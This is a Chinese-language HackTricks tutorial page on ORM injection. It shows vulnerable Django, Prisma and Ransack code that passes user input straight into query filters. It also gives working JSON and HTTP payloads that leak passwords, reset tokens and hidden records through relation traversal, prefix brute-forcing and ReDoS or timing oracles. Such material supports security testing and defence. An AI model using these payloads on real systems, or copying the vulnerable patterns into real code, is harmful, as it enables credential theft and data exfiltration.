mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
335 lines
10 KiB
Markdown
335 lines
10 KiB
Markdown
# ORM Injection
|
||
|
||
{% hint style="success" %}
|
||
学习与实践 AWS 黑客技术:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
学习与实践 GCP 黑客技术:<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>支持 HackTricks</summary>
|
||
|
||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Django ORM (Python)
|
||
|
||
在 [**这篇文章**](https://www.elttam.com/blog/plormbing-your-django-orm/) 中解释了如何通过使用例如以下代码使 Django ORM 变得脆弱:
|
||
|
||
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
||
"""
|
||
一些基本的 API 视图,用户向其发送请求以
|
||
搜索文章
|
||
"""
|
||
def post(self, request: Request, format=None):
|
||
try:
|
||
<strong> articles = Article.objects.filter(**request.data)
|
||
</strong> serializer = ArticleSerializer(articles, many=True)
|
||
except Exception as e:
|
||
return Response([])
|
||
return Response(serializer.data)
|
||
</code></pre>
|
||
|
||
注意所有的 request.data(这将是一个 json)是直接传递给 **从数据库中过滤对象**。攻击者可以发送意外的过滤器,以便泄露比预期更多的数据。
|
||
|
||
示例:
|
||
|
||
* **登录:** 在简单的登录中尝试泄露注册用户的密码。
|
||
```json
|
||
{
|
||
"username": "admin",
|
||
"password_startswith":"a"
|
||
}
|
||
```
|
||
{% hint style="danger" %}
|
||
可以通过暴力破解密码直到其泄露。
|
||
{% endhint %}
|
||
|
||
* **关系过滤**:可以遍历关系以泄露来自未预期在操作中使用的列的信息。例如,如果可以泄露由用户创建的文章,具有以下关系:Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`)。
|
||
```json
|
||
{
|
||
"created_by__user__password__contains":"pass"
|
||
}
|
||
```
|
||
{% hint style="danger" %}
|
||
可以找到所有创建了文章的用户的密码
|
||
{% endhint %}
|
||
|
||
* **多对多关系过滤**:在前面的例子中,我们无法找到没有创建文章的用户的密码。然而,遵循其他关系这是可能的。例如:Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
||
```json
|
||
{
|
||
"created_by__departments__employees__user_startswith":"admi"
|
||
}
|
||
```
|
||
{% hint style="danger" %}
|
||
在这种情况下,我们可以找到所有在部门中创建文章的用户,然后泄露他们的密码(在之前的json中我们只是泄露了用户名,但之后可以泄露密码)。
|
||
{% endhint %}
|
||
|
||
* **滥用Django组和权限的多对多关系与用户**:此外,AbstractUser模型用于在Django中生成用户,默认情况下该模型与权限和组表具有一些**多对多关系**。这基本上是**从一个用户访问其他用户**的默认方式,如果他们在**同一组或共享相同权限**。
|
||
```bash
|
||
# By users in the same group
|
||
created_by__user__groups__user__password
|
||
|
||
# By users with the same permission
|
||
created_by__user__user_permissions__user__password
|
||
```
|
||
* **绕过过滤限制**:同一篇博客文章建议绕过某些过滤的使用,例如 `articles = Article.objects.filter(is_secret=False, **request.data)`。可以转储 is\_secret=True 的文章,因为我们可以从关系回溯到 Article 表,并从非秘密文章中泄露秘密文章,因为结果是连接的,并且在非秘密文章中检查 is\_secret 字段,而数据是从秘密文章中泄露的。
|
||
```bash
|
||
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||
```
|
||
{% hint style="danger" %}
|
||
滥用关系可以绕过甚至旨在保护所显示数据的过滤器。
|
||
{% endhint %}
|
||
|
||
* **基于错误/时间的 ReDoS**:在之前的示例中,期望在过滤工作与否时有不同的响应,以此作为 oracle。但也可能在数据库中执行某些操作时,响应始终相同。在这种情况下,可以使数据库出错以获取新的 oracle。
|
||
```json
|
||
// Non matching password
|
||
{
|
||
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
||
}
|
||
|
||
// ReDoS matching password (will show some error in the response or check the time)
|
||
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
||
```
|
||
从同一篇关于此向量的帖子中:
|
||
|
||
* **SQLite**:默认情况下没有正则表达式操作符(需要加载第三方扩展)
|
||
* **PostgreSQL**:没有默认的正则表达式超时,并且不太容易回溯
|
||
* **MariaDB**:没有正则表达式超时
|
||
|
||
## Prisma ORM (NodeJS)
|
||
|
||
以下是[**从此帖子提取的技巧**](https://www.elttam.com/blog/plorming-your-primsa-orm/)。
|
||
|
||
* **完全查找控制**:
|
||
|
||
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
||
|
||
app.use(express.json());
|
||
|
||
app.post('/articles/verybad', async (req, res) => {
|
||
try {
|
||
// 攻击者对所有 prisma 选项拥有完全控制
|
||
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
||
</strong> res.json(posts);
|
||
} catch (error) {
|
||
res.json([]);
|
||
}
|
||
});
|
||
</code></pre>
|
||
|
||
可以看到整个 JavaScript 主体被传递给 prisma 以执行查询。
|
||
|
||
在原始帖子的示例中,这将检查所有由某人创建的帖子(每个帖子都是由某人创建的),同时返回该某人的用户信息(用户名、密码...)
|
||
```json
|
||
{
|
||
"filter": {
|
||
"include": {
|
||
"createdBy": true
|
||
}
|
||
}
|
||
}
|
||
|
||
// Response
|
||
[
|
||
{
|
||
"id": 1,
|
||
"title": "Buy Our Essential Oils",
|
||
"body": "They are very healthy to drink",
|
||
"published": true,
|
||
"createdById": 1,
|
||
"createdBy": {
|
||
"email": "karen@example.com",
|
||
"id": 1,
|
||
"isAdmin": false,
|
||
"name": "karen",
|
||
"password": "super secret passphrase",
|
||
"resetToken": "2eed5e80da4b7491"
|
||
}
|
||
},
|
||
...
|
||
]
|
||
```
|
||
以下内容选择所有由某个拥有密码的人创建的帖子,并将返回该密码:
|
||
```json
|
||
{
|
||
"filter": {
|
||
"select": {
|
||
"createdBy": {
|
||
"select": {
|
||
"password": true
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
// Response
|
||
[
|
||
{
|
||
"createdBy": {
|
||
"password": "super secret passphrase"
|
||
}
|
||
},
|
||
...
|
||
]
|
||
```
|
||
* **完全的 where 子句控制**:
|
||
|
||
让我们看看攻击可以控制 `where` 子句的情况:
|
||
|
||
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
||
try {
|
||
const posts = await prisma.article.findMany({
|
||
<strong> where: req.query.filter as any // 易受 ORM 泄漏影响
|
||
</strong> })
|
||
res.json(posts);
|
||
} catch (error) {
|
||
res.json([]);
|
||
}
|
||
});
|
||
</code></pre>
|
||
|
||
可以直接过滤用户的密码,例如:
|
||
```javascript
|
||
await prisma.article.findMany({
|
||
where: {
|
||
createdBy: {
|
||
password: {
|
||
startsWith: "pas"
|
||
}
|
||
}
|
||
}
|
||
})
|
||
```
|
||
{% hint style="danger" %}
|
||
使用像 `startsWith` 这样的操作可以泄露信息。 
|
||
{% endhint %}
|
||
|
||
* **多对多关系过滤绕过过滤:** 
|
||
```javascript
|
||
app.post('/articles', async (req, res) => {
|
||
try {
|
||
const query = req.body.query;
|
||
query.published = true;
|
||
const posts = await prisma.article.findMany({ where: query })
|
||
res.json(posts);
|
||
} catch (error) {
|
||
res.json([]);
|
||
}
|
||
});
|
||
```
|
||
可以通过回溯 `Category` -\[\*..\*]-> `Article` 之间的多对多关系来泄露未发布的文章:
|
||
```json
|
||
{
|
||
"query": {
|
||
"categories": {
|
||
"some": {
|
||
"articles": {
|
||
"some": {
|
||
"published": false,
|
||
"{articleFieldToLeak}": {
|
||
"startsWith": "{testStartsWith}"
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
也有可能通过滥用某些循环回路的多对多关系来泄露所有用户:
|
||
```json
|
||
{
|
||
"query": {
|
||
"createdBy": {
|
||
"departments": {
|
||
"some": {
|
||
"employees": {
|
||
"some": {
|
||
"departments": {
|
||
"some": {
|
||
"employees": {
|
||
"some": {
|
||
"departments": {
|
||
"some": {
|
||
"employees": {
|
||
"some": {
|
||
"{fieldToLeak}": {
|
||
"startsWith": "{testStartsWith}"
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
* **错误/定时查询**:在原始帖子中,您可以阅读一系列非常广泛的测试,以找到使用基于时间的有效载荷泄露信息的最佳有效载荷。这是:
|
||
```json
|
||
{
|
||
"OR": [
|
||
{
|
||
"NOT": {ORM_LEAK}
|
||
},
|
||
{CONTAINS_LIST}
|
||
]
|
||
}
|
||
```
|
||
Where the `{CONTAINS_LIST}` 是一个包含1000个字符串的列表,以确保**在找到正确的泄漏时响应会延迟。**
|
||
|
||
## **Ransack (Ruby)**
|
||
|
||
这些技巧在[**这篇文章中发现**](https://positive.security/blog/ransack-data-exfiltration)**。**
|
||
|
||
{% hint style="success" %}
|
||
**请注意,Ransack 4.0.0.0 现在强制使用显式允许列表来进行可搜索属性和关联。**
|
||
{% endhint %}
|
||
|
||
**脆弱示例:**
|
||
```ruby
|
||
def index
|
||
@q = Post.ransack(params[:q])
|
||
@posts = @q.result(distinct: true)
|
||
end
|
||
```
|
||
注意查询将由攻击者发送的参数定义。例如,可以通过以下方式暴力破解重置令牌:
|
||
```http
|
||
GET /posts?q[user_reset_password_token_start]=0
|
||
GET /posts?q[user_reset_password_token_start]=1
|
||
...
|
||
```
|
||
通过暴力破解和潜在的关系,可以从数据库中泄露更多数据。
|
||
|
||
## 参考文献
|
||
|
||
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
||
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
||
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
||
|
||
{% hint style="success" %}
|
||
学习和实践 AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
学习和实践 GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>支持 HackTricks</summary>
|
||
|
||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||
|
||
</details>
|
||
{% endhint %}
|